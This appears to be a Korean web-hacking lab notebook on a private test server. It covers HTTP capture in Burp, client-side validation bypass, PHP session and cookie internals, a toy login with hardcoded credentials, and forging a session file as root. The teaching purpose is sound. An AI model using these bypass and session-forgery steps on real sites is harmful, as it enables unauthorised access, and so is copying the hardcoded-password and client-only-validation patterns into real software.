userid=admin&amp;userpw=123  &lt;-- Request중에서 POST 방식의 전송은 Body 부분에 담겨져서 Server로 전송된다.

변수명=값&amp;변수명=값

Response 내용
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:06:19 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

 &lt;script language=JavaScript&gt;                &lt;-- Response 내용은 모두 Body에 담겨져서 Client로 전송된다.
          &lt;!--
              alert(&#39;아이디/비번을 확인해주세요.&#39;);
              history.go(-1);
          //--&gt;
          &lt;/script&gt;

GET /LOGINTEST/login.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close



HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:07:31 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 508
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;html&gt;
&lt;head&gt;
  &lt;title&gt; :::로그인 테스트::: &lt;/title&gt;
  &lt;meta charset=&quot;utf-8&quot;/&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;form method=post action=loginok.php&gt;
&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 아이디 &lt;/td&gt; &lt;td&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 비밀번호 &lt;/td&gt; &lt;td&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center colspan=2&gt; &lt;input type=submit value=로그인&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;/table&gt;
&lt;/form&gt;


&lt;/body&gt;
&lt;/html&gt;


POST /LOGINTEST/loginok.php HTTP/1.1
Host: 200.200.200.3
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://200.200.200.3
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close

userid=admin&amp;userpw=111111

Response 의 값
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:08:46 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 132
Connection: close
Content-Type: text/html; charset=UTF-8

 &lt;script language=JavaScript&gt;
          &lt;!--
              location.href = &#39;login.php&#39;;
          //--&gt;
          &lt;/script&gt;


GET /LOGINTEST/login.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST/loginok.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:09:42 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 356
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;html&gt;
&lt;head&gt;
  &lt;title&gt; :::로그인 테스트::: &lt;/title&gt;
  &lt;meta charset=&quot;utf-8&quot;/&gt;
&lt;/head&gt;
&lt;body&gt;


&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; 관리자 님 환영합니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; &lt;a href=logout.php&gt; 로그아웃 &lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;


&lt;/body&gt;
&lt;/html&gt;


Client는 ID/PW 가 맞기 때문에 서버에서 인증을 거쳐서 로그인된 페이지가 출력된다.

관리자 님 환영합니다.
로그아웃


GET /LOGINTEST/logout.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:11:11 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 116
Connection: close
Content-Type: text/html; charset=UTF-8

 &lt;script language=JavaScript&gt;
       &lt;!--
          location.href = &#39;login.php&#39;;
       //--&gt;
       &lt;/script&gt;


GET /LOGINTEST/login.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST/logout.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 05:11:33 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 508
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;html&gt;
&lt;head&gt;
  &lt;title&gt; :::로그인 테스트::: &lt;/title&gt;
  &lt;meta charset=&quot;utf-8&quot;/&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;form method=post action=loginok.php&gt;
&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 아이디 &lt;/td&gt; &lt;td&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 비밀번호 &lt;/td&gt; &lt;td&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center colspan=2&gt; &lt;input type=submit value=로그인&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;/table&gt;
&lt;/form&gt;


&lt;/body&gt;
&lt;/html&gt;


아이디:    
비밀번호:
    로그인
</code></pre><blockquote>
<p><strong>실습&gt; 개발자 도구 사용하기</strong></p>
</blockquote>
<pre><code>
브라우저: 크롬

F11: 전체화면(자주 눌려진다.)
F12: 개발자 도구

네이버로 접속해서 네이버를 시작페이지로를 찾아보기
</code></pre><blockquote>
<p>*<em>실습&gt; Client Side Validation *</em></p>
</blockquote>
<pre><code>
소스코드를 변경한 후 admin/P@ssw0rd 으로 로그인하기

1. 소스코드 수정
[root@webhacking ~]# cd /var/www/html/
[root@webhacking html]# vi login.php 

&lt;input type=&quot;text&quot; name=&quot;user_id&quot; style=&quot;border: 0;&quot; maxlength=&quot;4&quot;&gt;

2. 로그인
3가지 방법이 존재한다.
- 개발자 도구를 이용하는 방법
  개발자 도구를 열어서 관련 소스를 수정한다.
- 버프를 이용하는 첫 번째 방법
  Server 에서 웹 데이터가 Response 로 전송되었을 때 버프에서 수정해서 Client로 전송한다.
- 버프를 이용하는 두 번째 방법
  Client 에서 서버로 웹 데이터를 전송할 때 버프에서 값을 수정해서 Server로 전송한다.
</code></pre><blockquote>
<p><strong>실습&gt; Client Side Validation Bypass</strong></p>
</blockquote>
<pre><code>
http://200.200.200.3/register.php

아래 조건에 맞게 회원을 가입한다.
ID: t12        &lt;-- 원래는 4글자 부터 가입이 가능하지만 우회
이름: 홍길동
비밀번호: 123  &lt;-- 원래는 6글자 부터 가입이 가능하지만 우회
나이: 20
닉네임: MrHong

register_ok.php 파일의 내용에서 패스워드 길이 부분을 주석처리 한다.

Server Side Validation                                                                                    
 12   if(!$nick){
 13     $nick=$name;
 14   }
 15
 16 /*  16번 라인부터 ~ 47번 라인까지 모두 주석으로 처리한다.
 17    if($id == &quot;root&quot; || $id == &quot;admin&quot; || $id == &quot;master&quot; || $id == &quot;administrator&quot;){
 18        echo &quot;&lt;script&gt;alert(&#39;사용할 수 없는 계정입니다.&#39;);
       :
       : (생략)
 47 */
 48
 49   require(&quot;dbconn.php&quot;);

Intercept is on &gt; 회원가입 클릭 &gt; Forward

Response 된 웹 데이터를 버프에서 아래처럼 if문을 모두 삭제하면 Client Validation 기능은 없어지게 된다.

    &lt;script type=&quot;text/javascript&quot;&gt;
      function ck() {
        document.mform.submit();
      }
    &lt;/script&gt;

Intercept is off 을 클릭하면 회원이 가입된다. 


#############
## 세션 &amp; 쿠키
#############
웹에서 사용하는 HTTP 는 연결을 유지하지 않는 프로토콜이다.
SSH, Telnet 의 프로토콜은 연결을 유지하는 프로토콜이다.
HTTP 이용한 웹 클라이언트와 웹 서버간에 연결을 유지하는 역할을 하는게 쿠키와 세션을 이용한다.

쿠키: 클라이언트에 정보가 저장된다.
세션: 서버에 정보가 저장된다.

예전: 인증에 성공하면 쿠키로 관련 정보를 저장했다. (정보가 클라이언트에 저장되기 때문에 보안에 문제가 생기게 되었다.)
요즘: 
인증에 성공하면 세션으로 관련 정보를 서버에 저장하고 세션ID를 클라이언트에게 전송해서 클라이언트에서는 세션ID를 
쿠키로 저장한다. 그리고 서버에 접속을 할 때 마다 세션ID를 쿠키로 가지고 다니고 서버가 이를 확인해서 로그인한 사용자로 판단한다.

서버에서 세션이 저장된 디렉터리: 
/var/lib/php/session/ (yum으로 PHP를 설치하면 Default 값이고 이 디렉터리의 위치는 변경이 가능하다.)

소스로 설치하면 /tmp 디렉터리가 세션 디렉터리로 쓰이기도 하고
웹애플리케이션들은 자신의 앱 디렉터리 밑에 특정 세션디렉터리를 개별적으로 만들어서 사용하기도 한다.</code></pre><blockquote>
<p><strong>실습&gt; 세션 파일을 이용한 로그인 분석</strong></p>
</blockquote>
<pre><code>
세션파일: 
http 프로토콜은 연결이 유지되지 않는 프로토콜이므로 세션 파일을 이용해서 연결을 유지시켜준다. 
ex) 로그인

php 세션 파일의 형식: sess_랜덤문자열

1. 소스코드 작성
테스트할 소스코드를 작성한다.
[root@webhacking ~]# cd /var/www/html
[root@webhacking html]# vi session1.php
&lt;?
/*
 * 파일명: session1.php
 * 프로그램 설명: 세션 이해하기
 * 작성자: 리눅스마스터넷
 */

// 세션을 사용하기 위해서는 session_start(); 함수를 사용한다.
// 이 함수를 사용하기 전에 HTML 코드가 하나라도 클라이언트로 전송되면 안된다.
session_start()
?&gt;

2. 세션파일 확인
서버에서 세션이 저장된 디렉터리인 /var/lib/php/session/ 디렉터리의 파일들을 확인한다.
[root@webhacking html]# ll /var/lib/php/session/
합계 4
-rw-------. 1 apache apache 70 10월 25 13:10 sess_j3212sndenfbilpoc00927lgl6
-rw-------. 1 apache apache  0 10월 24 14:06 sess_u7t0gjqu4l45iqiiub4277fhp1

3. 세션파일 삭제
[root@webhacking html]# rm -fv /var/lib/php/session/*
[root@webhacking html]# ll /var/lib/php/session/
합계 0

4. EditThisCookie 추가
EditThisCookie PlugIn을 설치한다.
https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko

설치가 완료된 후 
확장 프로그램에서 EditThisCookie를 고정시킨다.
[메뉴] &gt; [설정] &gt; [확장 프로그램] &gt; [EditThisCookie 세부 정보] &gt; 시크릿 모드에서 허용을 활성화 시킨다.

5. 세션과 쿠키 삭제
웹사이트로 접속해서 모든 쿠키를 EditThisCookie에서 삭제한다.
http://200.200.200.3/

쿠키가 없습니다!

세션 디렉터리에서 세션 파일을 삭제한다.
[root@webhacking html]# rm -f /var/lib/php/session/*

6. 버프 가로채기 설정
Intercept is on으로 설정한다.

7. 접속
웹사이트로 접속한다.
http://200.200.200.3/session1.php

Request 내용: Request to http://200.200.200.3/session1.php
GET /session1.php HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Connection: close

Burp에서 Forward 버튼을 클릭한다.

Response 내용: Response from http://200.200.200.3/session1.php
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 07:12:36 GMT
Server: Apache/2.4.6 (CentOS)
Set-Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7; path=/  /  &lt;-- /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7 생성
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Intercept is off 로 클릭해서 클라이언트로 웹 데이터를 모두 전송한다.

8. 쿠키 확인
EditThisCookie에서 서버에서 전송된 세션ID가 쿠키로 저장된 것을 확인한다.
http://200.200.200.3/session1.php

200.200.200.3 | PHPSESSID
값
3kp8k3vei82mshqtjnogd7nna7

9. 재접속
Intercept is on으로 설정하고 접속을 한다.
http://200.200.200.3/session1.php

Request 내용: Request to http://200.200.200.3/session1.php
GET /session1.php HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7  &lt;-- 클라이언트에 쿠키값이 저장되어 있으므로 서버로 접속할 때 이 값을 가지고 다닌다.
Connection: close

Forward 버튼을 클릭한다.

Response 내용: Response from http://200.200.200.3/session1.php
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 07:20:44 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Intercept is off 로 클릭해서 클라이언트로 웹 데이터를 모두 전송한다.


&gt;&gt;&gt; 정리: 클라이언트가 서버의 특정 파일(session_start() 함수가 있는 페이지)을 요청할 경우 &lt;&lt;&lt;

1. 쿠키값이 없을 때는 Cookie: PHPSESSID=랜덤문자열 부분이 존재하지 않고 서버로 웹데이터를 전송한다.
2. 서버는 session_start() 함수에 의해서 세션의 랜덤문자열이 만들어지고 
   세션이 저장되는 디렉터리(/var/lib/php/session)에 sess_랜덤문자열 파일을 생성한다.
3. 클라이언트에게 랜덤문자열을 아래처럼 HTTP 헤더에 저장하고 클라이언트에게 전송한다.
   Set-Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7; path=/
4. 클라이언트가 서버가 보내준 랜덤문자열을 받아서 쿠키 디렉터리에 쿠키로 저장한다. 
   EditThisCookie 로 확인하면 아래처럼 저장된 것을 확인할 수 있다.
   PHPSESSID=3kp8k3vei82mshqtjnogd7nna7; path=/
5. 클라이언트가 서버의 특정 페이지로 다시 접속할 때 서버가 보내준 랜덤문자열(세션파일명의 랜덤문자열)을 쿠키로 
   저장했기 때문에 HTTP 헤더의 아래 Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7  필드에 담아서 서버로 보낸다.
6. 서버는 클라이언트가 보내준 쿠키값을 세션디렉터리에서 랜덤 문자열로 된 파일을 확인하고 그 안에 내용을 확인한다.
</code></pre><blockquote>
<p>*<em>실습&gt; 세션 변수 *</em></p>
</blockquote>
<pre><code>
https://www.php.net/manual/en/session.configuration.php

1. 세션 확인
/etc/php.ini 설정 파일
[Session]
session.save_handler = files
session.name = PHPSESSID
session.use_cookies = 1

; for mod_php, see /etc/httpd/conf.d/php.conf
; for php-fpm, see /etc/php-fpm.d/*conf
;session.save_path = &quot;/tmp&quot;

기본 APM을 설치하면 /etc/httpd/conf.d/php.conf 에 세션이 저장될 경로가 설정되어 있다.
php_value session.save_handler &quot;files&quot;
php_value session.save_path    &quot;/var/lib/php/session&quot;   

2. 세션 파일 삭제
PHP 세션디렉터리 : /var/lib/php/session
리눅스 서버에서 세션을 관리하는 디렉터리에 세션 파일들을 삭제한다.
[root@webhacking html]# rm -f /var/lib/php/session/*

3. 세션 변수 생성
[root@webhacking html]# vi session2.php 
&lt;?
/*
 * 파일명: session2.php
 * 프로그램 설명: 세션 변수 이해하기
 * 작성자: 리눅스마스터넷
 */

// 1. 세션 파일 생성
// 세션을 사용하기 위해서는 session_start(); 함수를 사용한다.
session_start();  // /var/lib/php/session/sess_랜덤문자열로 세션파일이 생성된다.

// 2. 세션 변수 생성
// 세션 변수 형식: $_SESSION[&#39;변수명&#39;] = 값;
// 세션 변수를 생성하는 순간 세션 변수를 세션 파일에 저장한다.
$_SESSION[&#39;userid&#39;] = &#39;LinuxmasterNet&#39;;
$_SESSION[&#39;age&#39;]    = 20;
$_SESSION[&#39;name&#39;]   = &#39;리눅스마스터넷&#39;;
?&gt;

[root@webhacking html]# ll /var/lib/php/session/
합계 0

3. 접속
버프의 Intercept를 On 으로 설정하고 접속한다.
http://200.200.200.3/session2.php

서버에는 세션 파일이 없지만 클라이언트에는 세션ID를 저장하고 있기 때문에 이걸 받은 서버는 
다시 세션 파일을 생성하고 세션변수들을 저장한다.
Request 내용: Request to http://200.200.200.101/session2.php
GET /session2.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7  &lt;-- 세션값을 전송한다.
Connection: close

Forward 버튼을 클릭해서 서버로 웹 데이터를 전송한다.

session_start(); 함수가 실행되면서 세션 디렉터리에 세션 파일이 생성되고 그 안에 변수와 값들이 저장된다. &lt;-- apache 사용자가 한다.
세션 디렉터리에 세션 파일을 확인하면 세션 파일의 크기가 72byte라는 것을 알 수 있다.
[root@webhacking html]# ll /var/lib/php/session/
합계 4
-rw-------. 1 apache apache 72  3월 31 16:49 sess_3kp8k3vei82mshqtjnogd7nna7

Response 내용: Response from http://200.200.200.3/session2.php
HTTP/1.1 200 OK
Date: Tue, 25 Oct 2022 06:10:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Intercept is off 로 클릭해서 클라이언트로 웹 데이터를 모두 전송한다.

4. 세션 파일 확인
세션 파일의 형식: 
문자열: 변수명|s:길이:&quot;값&quot;;
정수: 변수명|i:값
[root@webhacking html]# cat /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
userid|s:14:&quot;LinuxmasterNet&quot;;age|i:20;name|s:21:&quot;리눅스마스터넷&quot;;

5. 파일 생성
[root@webhacking html]# vi session3.php 
&lt;?
/*
 * 파일명: session3.php
 * 프로그램 설명: 세션 변수 이해하기
 * 작성자: 리눅스마스터넷
 */

// 1. 세션 파일 생성
// 세션을 사용하기 위해서는 session_start(); 함수를 사용한다.
session_start();  // /var/lib/php/session/sess_랜덤문자열로 세션파일이 생성된다.

// 2. 세션 변수 확인
if(isset($_SESSION[&#39;userid&#39;]))
{
    echo $_SESSION[&#39;userid&#39;] . &quot; 님 환영합니다.&quot;;
}
?&gt;

6. 접속
http://200.200.200.3/session3.php
LinuxmasterNet 님 환영합니다.
~~~~~~~~~~~~~~
    세션 파일에 저장된 userid 변수값
</code></pre><blockquote>
<p>*<em>실습&gt; 로그인 프로그램 *</em></p>
</blockquote>
<pre><code>
   +----------------+ &lt;--------+
   |                |          |
   v                |          |
login.php ----&gt; loginok.php    |
   |                           |
   |                           |
   +----------&gt;  logout.php ---+

!!! 세션을 사용하기 위해서는 반드시 session_start() 함수를 사용해야 한다. !!!

login.php
로그인 O: 
userid님 환영합니다. 를 출력한다. 
로그아웃 링크를 출력한다.

로그인 X: 
로그인폼을 출력한다. 
사용자에게 userid와 userpass를 입력 받아서 loginok.php로 POST방식으로 전송한다.


loginok.php 
login.php에서 전송된 userid &amp;&amp; userpass 비교해서 맞으면 세션변수를 세션파일에 등록하고 login.php로 돌아간다.
원래는 DB에서 전송한 userid/userpass를 인증을 통해서 성공해야 세션변수를 생성하지만
여기서는 간단히 소스코드에 userid와 userpass 를 저장하는 하드코딩 형태로 작성한다.

logout.php
세션파일을 삭제하고 login.php로 돌아간다.

[root@webhacking html]# mkdir LOGINTEST2
[root@webhacking html]# cd LOGINTEST2
[root@webhacking LOGINTEST2]# touch login.php loginok.php logout.php
[root@webhacking LOGINTEST2]# vi login.php
&lt;?php
/*
 * 파일명: login.php
 * 프로그램 설명: 로그인 기능으로 사용자와 비밀번호를 받아서 loginok.php로 전송한다. 
 * 작성자: 리눅스마스터넷
 * 작성일: 2022. 10. 26. (수) 11:30:51 KST
 */
session_start();
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;UTF-8&quot;&gt;
 &lt;title&gt; 로그인 &lt;/title&gt;

&lt;body&gt;
&lt;?php
if(isset($_SESSION[&#39;userid&#39;])) {  // 로그인 O
    echo $_SESSION[&#39;userid&#39;];
?&gt;
    님 환영합니다. &lt;br&gt; &lt;a href=&quot;logout.php&quot;&gt;로그아웃&lt;/a&gt;
&lt;?
} else { // 로그인 X 
?&gt;

&lt;form method=&quot;POST&quot; action=&quot;loginok.php&quot;&gt;
사용자: &lt;input type=&quot;text&quot; name=&quot;userid&quot;&gt; 
비밀번호: &lt;input type=&quot;password&quot; name=&quot;userpass&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;로그인&quot;&gt;

&lt;/form&gt;
&lt;?
}
?&gt;

&lt;/body&gt;
&lt;/html&gt;


[root@webhacking LOGINTEST2]# vi loginok.php
&lt;?php
/*
 * 파일명: loginok.php
 * 프로그램 설명: 사용자와 비밀번호를 비교해서 세션변수를 생성한다. 
 * 작성자: 리눅스마스터넷
 * 작성일: 2022. 10. 26. (수) 11:30:51 KST
 */
session_start();
/*
 * GET 방식의 변수명 형식: $_GET[&#39;변수명&#39;]
 * POST 방식의 변수명 형식: $_POST[&#39;변수명&#39;]
 * 세션 변수명 형식: $_SESSION[&#39;변수명&#39;]
 */

$dbUserid = &quot;admin&quot;; 
$dbUserpass = &quot;P@ssw0rd&quot;;  

if($_POST[&#39;userid&#39;] == &quot;$dbUserid&quot; &amp;&amp; $_POST[&#39;userpass&#39;] == &quot;$dbUserpass&quot;)  // 로그인 성공
{
    $_SESSION[&#39;userid&#39;] = $_POST[&#39;userid&#39;];
} else {  // 로그인 실패
?&gt;
   &lt;script&gt;
   alert(&quot;아이디와 비밀번호를 확인해주세요!&quot;);
   &lt;/script&gt;
&lt;?
}
?&gt;
&lt;script&gt;
 location.href = &#39;login.php&#39;; 
&lt;/script&gt;


[root@webhacking LOGINTEST2]# vi logout.php
&lt;?php
/*
 * 파일명: logout.php
 * 프로그램 설명: 로그아웃 기능으로 세션파일을 삭제한다. 
 * 작성자: 리눅스마스터넷
 * 작성일: 2022. 10. 26. (수) 11:30:51 KST
 */
session_start();
session_destroy();
header(&quot;Location: login.php&quot;);
?&gt;

Intercept is On 을 켠 상태에서 접속한다.

Request: http://200.200.200.3/LOGINTEST2/login.php

GET /LOGINTEST2/login.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7
Connection: close

Response: http://200.200.200.3/LOGINTEST2/login.php
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 08:23:12 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 189
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;UTF-8&quot;&gt;
 &lt;title&gt; 로그인 &lt;/title&gt;

&lt;body&gt;
LinuxmasterNet    님 환영합니다. &lt;br&gt; &lt;a href=&quot;logout.php&quot;&gt;로그아웃&lt;/a&gt;

&lt;/body&gt;
&lt;/html&gt;

LinuxmasterNet 님 환영합니다.
로그아웃

Request: http://200.200.200.3/LOGINTEST2/logout.php
GET /LOGINTEST2/logout.php HTTP/1.1
Host: 200.200.200.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST2/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=3kp8k3vei82mshqtjnogd7nna7
Connection: close

Response: http://200.200.200.3/LOGINTEST2/logout.php
HTTP/1.1 302 Found
Date: Fri, 31 Mar 2023 08:27:46 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Intercept is Off 로 변경한다.

사용자:     비밀번호:     로그인</code></pre><blockquote>
<p><strong>실습&gt; root 에서 로그인 로그아웃 수동 처리하기</strong></p>
</blockquote>
<pre><code>
root에서 직접 세션파일을 편집해서 로그인/로그아웃에 대한 이해를 숙지한다.

1. 로그인
- 실제는 login.php -&gt; loginok.php 에서 이 역할을 담당한다.
- 여기서는 분석을 위해서 root에서 직접 편집한다.
# echo &#39;userid|s:5:&quot;admin&quot;;&#39; &gt; /var/lib/php/session/세션파일명 

브라우저에서 로그인 처리 
http://200.200.200.3/LOGINTEST2/login.php
  &lt;-- 로그인창에서 로그인한다.

콘솔에서 직접 사용 테스트 
[root@localhost session]#  echo &#39;userid|s:5:&quot;admin&quot;;&#39; &gt; /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
[root@localhost session]# ll /var/lib/php/session/sess_3kp8k3vei82mshqtjnogd7nna7
